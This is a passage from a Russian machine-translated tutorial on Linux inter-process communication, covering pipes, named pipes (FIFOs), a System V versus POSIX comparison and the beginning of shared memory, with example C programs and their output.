Общая создатель () Создает и открывает новый файл.
Общая читать () Читает содержимое файла в нужный буфер.
Общая записывать () Записывает содержимое буфера в файл.
Общая близко () Закрывает дескриптор файла.
Общая stat () Предоставляет информацию о файле.
трубы труба () Создает канал для связи, который возвращает два файловых дескриптора для чтения и записи.
Именованные трубы или фифо mknod () Создает файл устройства памяти или специальный файл для создания FIFO
Именованные трубы или фифо mkfifo () Создает новый FIFO
Общая память shmget () Создает новый сегмент общей памяти или получает идентификатор существующего сегмента.
Общая память shmat () Присоединяет сегмент общей памяти и делает сегмент частью виртуальной памяти вызывающего процесса.
Общая память shmdt () Отключает сегмент общей памяти.
Общая память shmctl () Выполняет операции управления для общей памяти. Немногие из общих операций управления для совместно используемой памяти удаляют сегмент совместно используемой памяти (IPC_RMID), получают информацию о совместно используемой памяти (IPC_STAT) и обновляют новые значения существующей совместно используемой памяти (IPC_SET).
Очереди сообщений msgget () Создает новую очередь сообщений или обращается к уже существующей очереди сообщений и получает дескриптор или идентификатор для выполнения операций в отношении очереди сообщений, таких как отправка сообщений в очередь и получение сообщений из очереди.
Очереди сообщений msgsnd () Отправляет сообщение в нужную очередь сообщений с нужным идентификационным номером.
Очереди сообщений msgrcv () Получает сообщение из очереди сообщений. По умолчанию это бесконечная операция ожидания, то есть вызов будет заблокирован до получения сообщения.
Очереди сообщений msgctl () Выполняет операции управления для очереди сообщений. Лишь немногие из общих операций управления для очереди сообщений удаляют очередь сообщений (IPC_RMID), получают информацию об очереди сообщений (IPC_STAT) и обновляют новые значения существующей очереди сообщений (IPC_SET).
семафоры semget () Создает новый семафор или получает идентификатор существующего семафора. Семафоры используются для синхронизации различных IPC, работающих с одним и тем же объектом.
семафоры семоп () Выполняет операции семафора над значениями семафора. Основными операциями семафора являются либо получение, либо снятие блокировки семафора.
семафоры semctl () Выполняет операции управления для семафора. Немногие из общих операций управления для семафора удаляют семафор (IPC_RMID), получают информацию семафора (IPC_STAT) и обновляют новые значения существующего семафора (IPC_SET).
сигналы сигнал () Настройка расположения сигнала (номер сигнала) и обработчик сигнала. Другими словами, регистрация подпрограммы, которая выполняется, когда этот сигнал повышается.
сигналы sigaction () То же, что signal (), установка расположения сигнала, т.е. выполнение определенного действия согласно зарегистрированному обработчику сигнала после получения зарегистрированного сигнала. Этот системный вызов поддерживает более точное управление сигналом (), таким как блокировка определенных сигналов, восстановление действия сигнала до состояния по умолчанию после вызова обработчика сигнала, предоставление информации, такой как потребляемое время пользователя и системы, идентификатор процесса процесса отправки и т. Д.
Отображение памяти mmap () Отображение файлов в память. После сопоставления с памятью доступ к файлам так же прост, как доступ к данным по адресам, и, таким образом, вызов не является дорогим, как системные вызовы.
Отображение памяти munmap () Удаление сопоставленных файлов из памяти.

Система V & Posix

В следующей таблице перечислены различия между System V IPC и POSIX IPC.

СИСТЕМА V POSIX
AT & T представила (1983) три новые формы средств IPC, а именно очереди сообщений, разделяемую память и семафоры. Стандарты интерфейса переносимой операционной системы, установленные IEEE для определения интерфейса прикладного программирования (API). POSIX охватывает все три формы IPC
SYSTEM V IPC охватывает все механизмы IPC: каналы, именованные каналы, очереди сообщений, сигналы, семафоры и разделяемую память. Он также охватывает сокеты и сокеты Unix Domain. Почти все основные понятия такие же, как у System V. Он отличается только интерфейсом
Вызовы интерфейса общей памяти shmget (), shmat (), shmdt (), shmctl () Вызовы интерфейса общей памяти shm_open (), mmap (), shm_unlink ()
Вызовы интерфейса очереди сообщений msgget (), msgsnd (), msgrcv (), msgctl () Вызовы интерфейса очереди сообщений mq_open (), mq_send (), mq_receive (), mq_unlink ()
Вызовы интерфейса семафора semget (), semop (), semctl () Вызовы интерфейса семафоров Именованные семафоры (), sem_getvalue (), sem_destroy ()
Использует ключи и идентификаторы для идентификации объектов IPC. Использует имена и файловые дескрипторы для идентификации объектов IPC
Не Доступно Очереди сообщений POSIX можно отслеживать с помощью API select (), poll () и epoll
Предлагает вызов msgctl () Предоставляет функции (mq_getattr () и mq_setattr ()) для доступа или установки атрибутов 11. IPC - System V & POSIX
Не Доступно Многопоточный сейф. Охватывает функции синхронизации потоков, такие как блокировки мьютекса, условные переменные, блокировки чтения-записи и т. Д.
Не Доступно Предлагает несколько функций уведомлений для очередей сообщений (таких как mq_notify ())
Требуются системные вызовы, такие как shmctl (), команды (ipcs, ipcrm) для выполнения операций состояния / контроля. Объекты общей памяти могут проверяться и обрабатываться с помощью системных вызовов, таких как fstat (), fchmod ()
Размер сегмента разделяемой памяти System V фиксируется во время создания (через shmget ()) Мы можем использовать ftruncate (), чтобы настроить размер базового объекта, а затем заново создать отображение, используя munmap () и mmap () (или mremap () для Linux)

Межпроцессное взаимодействие - трубы

Труба является средством связи между двумя или более взаимосвязанными или взаимосвязанными процессами. Это может быть либо один процесс, либо связь между дочерним и родительским процессами. Связь также может быть многоуровневой, такой как связь между родителем, дочерним элементом и внуком и т. Д. Связь обеспечивается одним процессом, записывающим данные в канал, а другим считывающим данные из канала. Чтобы выполнить системный вызов pipe, создайте два файла: один для записи в файл, а другой для чтения из файла.

Механизм трубы можно посмотреть в режиме реального времени, например, наполнив водой трубу в каком-нибудь контейнере, скажем, ведре, и кто-то заберет его, скажем, с кружкой. Процесс заполнения - это не что иное, как запись в канал, а процесс чтения - не что иное, как извлечение из канала. Это подразумевает, что один выход (вода) является входом для другого (ведро).

Труба с одним
#include<unistd.h>

int pipe(int pipedes[2]);

Этот системный вызов создаст канал для односторонней связи, т. Е. Он создает два дескриптора, первый из которых подключен для чтения из канала, а другой - для записи в канал.

Дескриптор pipedes [0] предназначен для чтения, а pipedes [1] - для записи. Все, что записано в pipedes [1], можно прочитать из pipedes [0].

Этот вызов вернет ноль в случае успеха и -1 в случае сбоя. Чтобы узнать причину ошибки, проверьте с помощью переменной errno или функции perror ().

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);

Несмотря на то, что основные операции для файла - чтение и запись, важно открыть файл перед выполнением операций и закрыть файл после завершения необходимых операций. Обычно по умолчанию для каждого процесса открываются 3 дескриптора, которые используются для ввода (стандартный ввод - stdin), вывода (стандартный вывод - stdout) и ошибки (стандартная ошибка - stderr) с файловыми дескрипторами 0, 1 и 2 соответственно.

Этот системный вызов вернул бы файловый дескриптор, используемый для дальнейших файловых операций чтения / записи / поиска (lseek). Обычно файловые дескрипторы начинаются с 3 и увеличиваются на одно число при увеличении количества открытых файлов.

Аргументами, передаваемыми системному вызову open, являются pathname (относительный или абсолютный путь), флаги, указывающие цель открытия файла (скажем, открытия для чтения, O_RDONLY, для записи, O_WRONLY, для чтения и записи, O_RDWR, для добавления в существующий файл O_APPEND, для создания файла, если он не существует с O_CREAT и т. Д.) И требуемый режим, обеспечивающий права на чтение / запись / выполнение для пользователя или владельца / группы / других. Режим может быть упомянут с символами.

Чтение - 4, Запись - 2 и Выполнение - 1.

Например: Восьмеричное значение (начинается с 0), 0764 означает, что владелец имеет права на чтение, запись и выполнение, группа имеет права на чтение и запись, другая имеет права на чтение. Это также может быть представлено как S_IRWXU | S_IRGRP | S_IWGRP | S_IROTH, что подразумевает или операцию 0700 | 0040 | 0020 | 0004 → 0764.

Этот системный вызов в случае успеха возвращает новый идентификатор дескриптора файла и -1 в случае ошибки. Причину ошибки можно определить с помощью переменной errno или функции perror ().

#include<unistd.h>

int close(int fd)

Вышеупомянутый системный вызов закрывает уже открытый дескриптор файла. Это означает, что файл больше не используется, а связанные с ним ресурсы могут быть использованы любым другим процессом. Этот системный вызов возвращает ноль в случае успеха и -1 в случае ошибки. Причину ошибки можно определить с помощью переменной errno или функции perror ().

#include<unistd.h>

ssize_t read(int fd, void *buf, size_t count)

Вышеупомянутый системный вызов должен прочитать из указанного файла с аргументами дескриптора файла fd, соответствующего буфера с выделенной памятью (статической или динамической) и размером буфера.

Идентификатор дескриптора файла должен идентифицировать соответствующий файл, который возвращается после вызова системного вызова open () или pipe (). Файл должен быть открыт перед чтением из файла. Он автоматически открывается при вызове системного вызова pipe ().

Этот вызов вернет число прочитанных байтов (или ноль в случае встречи с концом файла) в случае успеха и -1 в случае сбоя. Возвращаемые байты могут быть меньше количества запрошенных байтов, на случай, если данные недоступны или файл закрыт. Правильный номер ошибки устанавливается в случае сбоя.

Чтобы узнать причину ошибки, проверьте с помощью переменной errno или функции perror ().

#include<unistd.h>

ssize_t write(int fd, void *buf, size_t count)

Вышеупомянутый системный вызов предназначен для записи в указанный файл с аргументами дескриптора файла fd, надлежащего буфера с выделенной памятью (статической или динамической) и размера буфера.

Идентификатор дескриптора файла должен идентифицировать соответствующий файл, который возвращается после вызова системного вызова open () или pipe ().

Файл должен быть открыт перед записью в файл. Он автоматически открывается при вызове системного вызова pipe ().

Этот вызов вернет количество записанных байтов (или ноль, если ничего не написано) в случае успеха и -1 в случае сбоя. Правильный номер ошибки устанавливается в случае сбоя.

Чтобы узнать причину ошибки, проверьте с помощью переменной errno или функции perror ().

Примеры программ

Ниже приведены примеры программ.

Пример программы 1 - Программа для записи и чтения двух сообщений с использованием канала.

Алгоритм

Шаг 1 - Создать трубу.

Шаг 2 - Отправить сообщение на канал.

Шаг 3 - Получить сообщение из канала и записать его в стандартный вывод.

Шаг 4 - Отправьте еще одно сообщение в канал.

Шаг 5 - Извлеките сообщение из канала и запишите его в стандартный вывод.

Примечание. Получение сообщений также можно выполнить после отправки всех сообщений.

Исходный код: simplepipe.c

#include<stdio.h>
#include<unistd.h>

int main() {
   int pipefds[2];
   int returnstatus;
   char writemessages[2][20]={"Hi", "Hello"};
   char readmessage[20];
   returnstatus = pipe(pipefds);
   
   if (returnstatus == -1) {
      printf("Unable to create pipe\n");
      return 1;
   }
   
   printf("Writing to pipe - Message 1 is %s\n", writemessages[0]);
   write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
   read(pipefds[0], readmessage, sizeof(readmessage));
   printf("Reading from pipe – Message 1 is %s\n", readmessage);
   printf("Writing to pipe - Message 2 is %s\n", writemessages[0]);
   write(pipefds[1], writemessages[1], sizeof(writemessages[0]));
   read(pipefds[0], readmessage, sizeof(readmessage));
   printf("Reading from pipe – Message 2 is %s\n", readmessage);
   return 0;
}

Примечание. В идеале возвращаемый статус необходимо проверять для каждого системного вызова. Чтобы упростить процесс, проверки выполняются не для всех вызовов.

Шаги выполнения

компиляция

gcc -o simplepipe simplepipe.c

Исполнение / выход

Writing to pipe - Message 1 is Hi
Reading from pipe – Message 1 is Hi
Writing to pipe - Message 2 is Hi
Reading from pipe – Message 2 is Hell

Пример программы 2 - Программа для записи и чтения двух сообщений через канал с использованием родительского и дочернего процессов.

Алгоритм

Шаг 1 - Создать трубу.

Шаг 2 - Создайте дочерний процесс.

Шаг 3 - Родительский процесс пишет в канал.

Шаг 4 - Дочерний процесс получает сообщение из канала и записывает его в стандартный вывод.

Шаг 5 - Повторите шаг 3 и шаг 4 еще раз.

Исходный код: pipewithprocesses.c

#include<stdio.h>
#include<unistd.h>

int main() {
   int pipefds[2];
   int returnstatus;
   int pid;
   char writemessages[2][20]={"Hi", "Hello"};
   char readmessage[20];
   returnstatus = pipe(pipefds);
   if (returnstatus == -1) {
      printf("Unable to create pipe\n");
      return 1;
   }
   pid = fork();
   
   // Child process
   if (pid == 0) {
      read(pipefds[0], readmessage, sizeof(readmessage));
      printf("Child Process - Reading from pipe – Message 1 is %s\n", readmessage);
      read(pipefds[0], readmessage, sizeof(readmessage));
      printf("Child Process - Reading from pipe – Message 2 is %s\n", readmessage);
   } else { //Parent process
      printf("Parent Process - Writing to pipe - Message 1 is %s\n", writemessages[0]);
      write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
      printf("Parent Process - Writing to pipe - Message 2 is %s\n", writemessages[1]);
      write(pipefds[1], writemessages[1], sizeof(writemessages[1]));
   }
   return 0;
}

Шаги выполнения

компиляция

gcc pipewithprocesses.c –o pipewithprocesses

выполнение

Parent Process - Writing to pipe - Message 1 is Hi
Parent Process - Writing to pipe - Message 2 is Hello
Child Process - Reading from pipe – Message 1 is Hi
Child Process - Reading from pipe – Message 2 is Hello

Двусторонняя связь с использованием труб

Канальная связь рассматривается как односторонняя связь, т.е. либо родительский процесс пишет, а дочерний процесс читает, либо наоборот, но не оба одновременно. Однако, что если родительский и дочерний элементы должны одновременно писать и читать из каналов, решение - это двусторонняя связь с использованием каналов. Для установления двусторонней связи требуются две трубы.

Ниже приведены шаги для достижения двусторонней связи -

Шаг 1 - Создайте две трубы. Сначала родитель должен писать, а ребенок читать, скажем, как pipe1. Во-вторых, ребенок должен писать, а родитель - читать, скажем, как pipe2.

Шаг 2 - Создайте дочерний процесс.

Шаг 3 - Закройте нежелательные концы, так как для каждого сеанса связи необходим только один конец.

Шаг 4 - Закройте нежелательные концы в родительском процессе, прочитайте конец pipe1 и запишите конец pipe2.

Шаг 5 - Закройте нежелательные концы в дочернем процессе, запишите конец pipe1 и прочитайте конец pipe2.

Шаг 6 - Выполните общение по мере необходимости.

Труба с двумя

Примеры программ

Пример программы 1 - Достижение двусторонней связи с использованием каналов.

Алгоритм

Шаг 1 - Создайте pipe1 для родительского процесса для записи и дочернего процесса для чтения.

Шаг 2. Создайте pipe2 для записи дочернего процесса и чтения родительского процесса.

Шаг 3 - Закройте нежелательные концы трубы с родительской и дочерней стороны.

Шаг 4 - Родительский процесс для написания сообщения и дочерний процесс для чтения и отображения на экране.

Шаг 5 - Дочерний процесс для написания сообщения и родительский процесс для чтения и отображения на экране.

Исходный код: twowayspipe.c

#include<stdio.h>
#include<unistd.h>

int main() {
   int pipefds1[2], pipefds2[2];
   int returnstatus1, returnstatus2;
   int pid;
   char pipe1writemessage[20] = "Hi";
   char pipe2writemessage[20] = "Hello";
   char readmessage[20];
   returnstatus1 = pipe(pipefds1);
   
   if (returnstatus1 == -1) {
      printf("Unable to create pipe 1 \n");
      return 1;
   }
   returnstatus2 = pipe(pipefds2);
   
   if (returnstatus2 == -1) {
      printf("Unable to create pipe 2 \n");
      return 1;
   }
   pid = fork();
   
   if (pid != 0) // Parent process {
      close(pipefds1[0]); // Close the unwanted pipe1 read side
      close(pipefds2[1]); // Close the unwanted pipe2 write side
      printf("In Parent: Writing to pipe 1 – Message is %s\n", pipe1writemessage);
      write(pipefds1[1], pipe1writemessage, sizeof(pipe1writemessage));
      read(pipefds2[0], readmessage, sizeof(readmessage));
      printf("In Parent: Reading from pipe 2 – Message is %s\n", readmessage);
   } else { //child process
      close(pipefds1[1]); // Close the unwanted pipe1 write side
      close(pipefds2[0]); // Close the unwanted pipe2 read side
      read(pipefds1[0], readmessage, sizeof(readmessage));
      printf("In Child: Reading from pipe 1 – Message is %s\n", readmessage);
      printf("In Child: Writing to pipe 2 – Message is %s\n", pipe2writemessage);
      write(pipefds2[1], pipe2writemessage, sizeof(pipe2writemessage));
   }
   return 0;
}

Шаги выполнения

компиляция

gcc twowayspipe.c –o twowayspipe

выполнение

In Parent: Writing to pipe 1 – Message is Hi
In Child: Reading from pipe 1 – Message is Hi
In Child: Writing to pipe 2 – Message is Hello
In Parent: Reading from pipe 2 – Message is Hello

Межпроцессное взаимодействие - именованные каналы

Трубы предназначались для связи между смежными процессами. Можем ли мы использовать каналы для связи между процессами, скажем, мы хотим выполнить клиентскую программу с одного терминала и серверную программу с другого терминала? Ответ - нет. Тогда как мы можем достичь связи между несвязанными процессами, простой ответ - именованные каналы. Хотя это работает для связанных процессов, это не дает смысла использовать именованные каналы для связи между связанными процессами.

Мы использовали одну трубу для односторонней связи и две трубы для двунаправленной связи. Применяется ли такое же условие для именованных каналов. Ответ - нет, мы можем использовать один именованный канал, который можно использовать для двусторонней связи (связь между сервером и клиентом, плюс клиент и сервер одновременно), поскольку Named Pipe поддерживает двунаправленную связь.

Другое имя для именованного канала - FIFO (First-In-First-Out) . Давайте посмотрим системный вызов (mknod ()) для создания именованного канала, который является своего рода специальным файлом.

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int mknod(const char *pathname, mode_t mode, dev_t dev);

Этот системный вызов создаст специальный файл или узел файловой системы, такой как обычный файл, файл устройства или FIFO. Аргументами системного вызова являются pathname, mode и dev. Путь вместе с атрибутами режима и информацией об устройстве. Путь является относительным, если каталог не указан, он будет создан в текущем каталоге. Указанный режим является режимом файла, который определяет тип файла, такой как тип файла и режим файла, как указано в следующих таблицах. Поле dev предназначено для указания информации об устройстве, такой как старшие и младшие номера устройств.

Тип файла Описание Тип файла Описание
S_IFBLK блок специальный S_IFREG Обычный файл
S_IFCHR особый характер S_IFDIR каталог
S_IFIFO FIFO специальный S_IFLNK Символическая ссылка
Файловый режим Описание Файловый режим Описание
S_IRWXU Чтение, запись, выполнение / поиск по владельцу S_IWGRP Разрешение на запись, группа
S_IRUSR Разрешение на чтение, владелец S_IXGRP Выполнить / поиск разрешения, группа
S_IWUSR Разрешение на запись, владелец S_IRWXO Читать, писать, выполнять / искать другими
S_IXUSR Разрешение на выполнение / поиск, владелец S_IROTH Разрешение на чтение, другие
S_IRWXG Чтение, запись, выполнение / поиск по группе S_IWOTH Разрешение на запись, другие
S_IRGRP Разрешение на чтение, группа S_IXOTH Разрешение на выполнение / поиск, другие

Режим файла также может быть представлен в восьмеричной записи, такой как 0XYZ, где X представляет владельца, Y представляет группу, а Z представляет другие. Значения X, Y или Z могут находиться в диапазоне от 0 до 7. Значения для чтения, записи и выполнения - 4, 2, 1 соответственно. Если необходимо в комбинации чтения, записи и выполнения, добавьте соответствующие значения.

Скажем, если мы упомянем 0640, то это означает чтение и запись (4 + 2 = 6) для владельца, чтение (4) для группы и отсутствие разрешений (0) для других.

Этот вызов вернет ноль в случае успеха и -1 в случае сбоя. Чтобы узнать причину ошибки, проверьте с помощью переменной errno или функции perror ().

#include <sys/types.h>
#include <sys/stat.h>

int mkfifo(const char *pathname, mode_t mode)

Эта библиотечная функция создает специальный файл FIFO, который используется для именованного канала. Аргументами этой функции являются имя файла и режим. Имя файла может быть либо абсолютным, либо относительным путем. Если полный путь (или абсолютный путь) не указан, файл будет создан в текущей папке выполняющегося процесса. Информация о режиме файла описана в системном вызове mknod ().

Этот вызов вернет ноль в случае успеха и -1 в случае сбоя. Чтобы узнать причину ошибки, проверьте с помощью переменной errno или функции perror ().

Давайте рассмотрим программу запуска сервера на одном терминале и запуска клиента на другом терминале. Программа будет выполнять только одностороннюю связь. Клиент принимает ввод пользователя и отправляет сообщение на сервер, сервер печатает сообщение на выходе. Процесс продолжается до тех пор, пока пользователь не введет строку «конец».

Позвольте нам понять это на примере -

Шаг 1 - Создайте два процесса, один - fifoserver, а другой - fifoclient.

Шаг 2 - Серверный процесс выполняет следующее -

  • Создает именованный канал (используя системный вызов mknod ()) с именем «MYFIFO», если он не создан.

  • Открывает именованный канал только для чтения.

  • Здесь создан FIFO с разрешениями на чтение и запись для владельца. Читайте для группы и никаких разрешений для других.

  • Бесконечно ждет сообщения от Клиента.

  • Если сообщение, полученное от клиента, не является «концом», печатается сообщение. Если сообщение «конец», закрывает fifo и завершает процесс.

Шаг 3 - Клиентский процесс выполняет следующее -

  • Открывает именованный канал только для записи.

  • Принимает строку от пользователя.

  • Проверяет, вводит ли пользователь «конец» или другой, чем «конец». В любом случае, он отправляет сообщение на сервер. Однако, если строка «end», это закрывает FIFO и также завершает процесс.

  • Повторяется бесконечно, пока пользователь не введет строку «конец».

Теперь давайте посмотрим на файл сервера FIFO.

/* Filename: fifoserver.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define FIFO_FILE "MYFIFO"
int main() {
   int fd;
   char readbuf[80];
   char end[10];
   int to_end;
   int read_bytes;
   
   /* Create the FIFO if it does not exist */
   mknod(FIFO_FILE, S_IFIFO|0640, 0);
   strcpy(end, "end");
   while(1) {
      fd = open(FIFO_FILE, O_RDONLY);
      read_bytes = read(fd, readbuf, sizeof(readbuf));
      readbuf[read_bytes] = '\0';
      printf("Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
      to_end = strcmp(readbuf, end);
      if (to_end == 0) {
         close(fd);
         break;
      }
   }
   return 0;
}

Шаги компиляции и выполнения

Received string: "this is string 1" and length is 16
Received string: "fifo test" and length is 9
Received string: "fifo client and server" and length is 22
Received string: "end" and length is 3

Теперь давайте посмотрим на пример кода клиента FIFO.

/* Filename: fifoclient.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define FIFO_FILE "MYFIFO"
int main() {
   int fd;
   int end_process;
   int stringlen;
   char readbuf[80];
   char end_str[5];
   printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
   fd = open(FIFO_FILE, O_CREAT|O_WRONLY);
   strcpy(end_str, "end");
   
   while (1) {
      printf("Enter string: ");
      fgets(readbuf, sizeof(readbuf), stdin);
      stringlen = strlen(readbuf);
      readbuf[stringlen - 1] = '\0';
      end_process = strcmp(readbuf, end_str);
      
      //printf("end_process is %d\n", end_process);
      if (end_process != 0) {
         write(fd, readbuf, strlen(readbuf));
         printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
      } else {
         write(fd, readbuf, strlen(readbuf));
         printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
         close(fd);
         break;
      }
   }
   return 0;
}

Давайте рассмотрим прибывающий вывод.

Шаги компиляции и выполнения

FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: this is string 1
Sent string: "this is string 1" and string length is 16
Enter string: fifo test
Sent string: "fifo test" and string length is 9
Enter string: fifo client and server
Sent string: "fifo client and server" and string length is 22
Enter string: end
Sent string: "end" and string length is 3

Двусторонняя связь с использованием именованных каналов

Связь между трубами должна быть однонаправленной. Каналы были ограничены односторонней связью в целом, и для двусторонней связи нужны как минимум две трубы. Трубы предназначены только для взаимосвязанных процессов. Каналы нельзя использовать для связи между несвязанными процессами, скажем, если мы хотим выполнить один процесс с одного терминала, а другой процесс с другого терминала, это невозможно с каналами. Есть ли у нас какой-либо простой способ связи между двумя процессами, скажем, несвязанными процессами простым способом? Ответ ДА. Именованный канал предназначен для связи между двумя или более несвязанными процессами и может также иметь двунаправленную связь.

Мы уже видели однонаправленную связь между именованными каналами, то есть сообщения от клиента к серверу. Теперь давайте посмотрим на двунаправленную связь, то есть на то, что клиент отправляет сообщение на сервер, а сервер получает сообщение и отправляет клиенту другое сообщение, используя тот же именованный канал.

Ниже приведен пример -

Шаг 1 - Создайте два процесса, один из них fifoserver_twoway, а другой - fifoclient_twoway.

Шаг 2 - Серверный процесс выполняет следующее -

  • Создает именованный канал (используя библиотечную функцию mkfifo ()) с именем fifo_twoway в каталоге / tmp, если он не создан.

  • Открывает именованный канал для чтения и записи.

  • Здесь создан FIFO с разрешениями на чтение и запись для владельца. Читайте для группы и никаких разрешений для других.

  • Бесконечно ждет сообщения от клиента.

  • Если сообщение, полученное от клиента, не является «концом», печатает сообщение и переворачивает строку. Обращенная строка отправляется обратно клиенту. Если сообщение «конец», закрывает fifo и завершает процесс.

Шаг 3 - Клиентский процесс выполняет следующее -

  • Открывает именованный канал для чтения и записи.

  • Принимает строку от пользователя.

  • Проверяет, вводит ли пользователь «конец» или другой, чем «конец». В любом случае, он отправляет сообщение на сервер. Однако, если строка «end», это закрывает FIFO и также завершает процесс.

  • Если сообщение отправлено не как «конец», оно ожидает сообщения (обратная строка) от клиента и печатает обратную строку.

  • Повторяется бесконечно, пока пользователь не введет строку «конец».

Теперь давайте посмотрим на пример кода сервера FIFO.

/* Filename: fifoserver_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define FIFO_FILE "/tmp/fifo_twoway"
void reverse_string(char *);
int main() {
   int fd;
   char readbuf[80];
   char end[10];
   int to_end;
   int read_bytes;
   
   /* Create the FIFO if it does not exist */
   mkfifo(FIFO_FILE, S_IFIFO|0640);
   strcpy(end, "end");
   fd = open(FIFO_FILE, O_RDWR);
   while(1) {
      read_bytes = read(fd, readbuf, sizeof(readbuf));
      readbuf[read_bytes] = '\0';
      printf("FIFOSERVER: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
      to_end = strcmp(readbuf, end);
      
      if (to_end == 0) {
         close(fd);
         break;
      }
      reverse_string(readbuf);
      printf("FIFOSERVER: Sending Reversed String: \"%s\" and length is %d\n", readbuf, (int) strlen(readbuf));
      write(fd, readbuf, strlen(readbuf));
      /*
      sleep - This is to make sure other process reads this, otherwise this
      process would retrieve the message
      */
      sleep(2);
   }
   return 0;
}

void reverse_string(char *str) {
   int last, limit, first;
   char temp;
   last = strlen(str) - 1;
   limit = last/2;
   first = 0;
   
   while (first < last) {
      temp = str[first];
      str[first] = str[last];
      str[last] = temp;
      first++;
      last--;
   }
   return;
}

Шаги компиляции и выполнения

FIFOSERVER: Received string: "LINUX IPCs" and length is 10
FIFOSERVER: Sending Reversed String: "sCPI XUNIL" and length is 10
FIFOSERVER: Received string: "Inter Process Communication" and length is 27
FIFOSERVER: Sending Reversed String: "noitacinummoC ssecorP retnI" and length is 27
FIFOSERVER: Received string: "end" and length is 3

Теперь давайте посмотрим на пример кода клиента FIFO.

/* Filename: fifoclient_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define FIFO_FILE "/tmp/fifo_twoway"
int main() {
   int fd;
   int end_process;
   int stringlen;
   int read_bytes;
   char readbuf[80];
   char end_str[5];
   printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
   fd = open(FIFO_FILE, O_CREAT|O_RDWR);
   strcpy(end_str, "end");
   
   while (1) {
      printf("Enter string: ");
      fgets(readbuf, sizeof(readbuf), stdin);
      stringlen = strlen(readbuf);
      readbuf[stringlen - 1] = '\0';
      end_process = strcmp(readbuf, end_str);
      
      //printf("end_process is %d\n", end_process);
      if (end_process != 0) {
         write(fd, readbuf, strlen(readbuf));
         printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
         read_bytes = read(fd, readbuf, sizeof(readbuf));
         readbuf[read_bytes] = '\0';
         printf("FIFOCLIENT: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
      } else {
         write(fd, readbuf, strlen(readbuf));
         printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
         close(fd);
         break;
      }
   }
   return 0;
}

Шаги компиляции и выполнения

FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: LINUX IPCs
FIFOCLIENT: Sent string: "LINUX IPCs" and string length is 10
FIFOCLIENT: Received string: "sCPI XUNIL" and length is 10
Enter string: Inter Process Communication
FIFOCLIENT: Sent string: "Inter Process Communication" and string length is 27
FIFOCLIENT: Received string: "noitacinummoC ssecorP retnI" and length is 27
Enter string: end
FIFOCLIENT: Sent string: "end" and string length is 3

Общая память

Общая память - это память, разделяемая между двумя или более процессами. Однако зачем нам делиться памятью или какими-то другими средствами связи?

Повторим еще раз: каждый процесс имеет свое собственное адресное пространство. Если какой-либо процесс хочет обмениваться некоторой информацией из своего собственного адресного пространства с другими процессами, то это возможно только с помощью методов IPC (межпроцессное взаимодействие). Как мы уже знаем, связь может быть между связанными или не связанными процессами.

Обычно взаимодействие между процессами осуществляется с использованием каналов или именованных каналов. Связь между несвязанными процессами (скажем, одним процессом, выполняющимся в одном терминале, а другим процессом в другом терминале) может осуществляться с использованием именованных каналов или с помощью популярных методов IPC общей памяти и очередей сообщений.

Мы познакомились с методами IPC для каналов и именованных каналов, и теперь пришло время узнать об оставшихся методах IPC: общая память, очереди сообщений, семафоры, сигналы и отображение памяти.

В этой главе мы узнаем все об общей памяти.

Общая память

Мы знаем, что для связи между двумя или более процессами мы используем разделяемую память, но прежде чем использовать разделяемую память, что нужно сделать с помощью системных вызовов, давайте посмотрим на это -

  • Создайте сегмент общей памяти или используйте уже созданный сегмент общей памяти (shmget ())

  • Присоединить процесс к уже созданному сегменту разделяемой памяти (shmat ())

  • Отключить процесс от уже подключенного сегмента общей памяти (shmdt ())

  • Операции управления в сегменте разделяемой памяти (shmctl ())

Давайте посмотрим на некоторые детали системных вызовов, связанных с общей памятью.

#include <sys/ipc.h>
#include <sys/shm.h>

int shmget(key_t key, size_t size, int shmflg)

Приведенный выше системный вызов создает или выделяет сегмент совместно используемой памяти System V. Аргументы, которые необходимо передать, следующие:

Первый аргумент, ключ, распознает сегмент разделяемой памяти. Ключ может быть либо произвольным значением, либо ключом, который можно получить из библиотечной функции ftok (). Ключ также может быть IPC_PRIVATE, то есть запускать процессы как сервер и клиент (родительские и дочерние отношения), т. Е. Взаимосвязь взаимосвязанных процессов. Если клиент хочет использовать совместно используемую память с этим ключом, то это должен быть дочерний процесс сервера. Кроме того, дочерний процесс должен быть создан после того, как родитель получил общую память.

Второй аргумент, size, это размер сегмента разделяемой памяти, округленный до кратного PAGE_SIZE.

Третий аргумент, shmflg, указывает требуемые флаги общей памяти, такие как IPC_CREAT (создание нового сегмента) или IPC_EXCL (используется с IPC_CREAT для создания нового сегмента, и вызов завершается неудачно, если сегмент уже существует). Нужно также передать разрешения.

Примечание. Подробнее о разрешениях см. В предыдущих разделах.

Этот вызов вернул бы действительный идентификатор совместно используемой памяти (используемый для дальнейших вызовов совместно используемой памяти) в случае успеха и -1 в случае сбоя. Чтобы узнать причину ошибки, проверьте с помощью переменной errno или функции perror ().

#include <sys/types.h>
#include <sys/shm.h>

void * shmat(int shmid, const void *shmaddr, int shmflg)

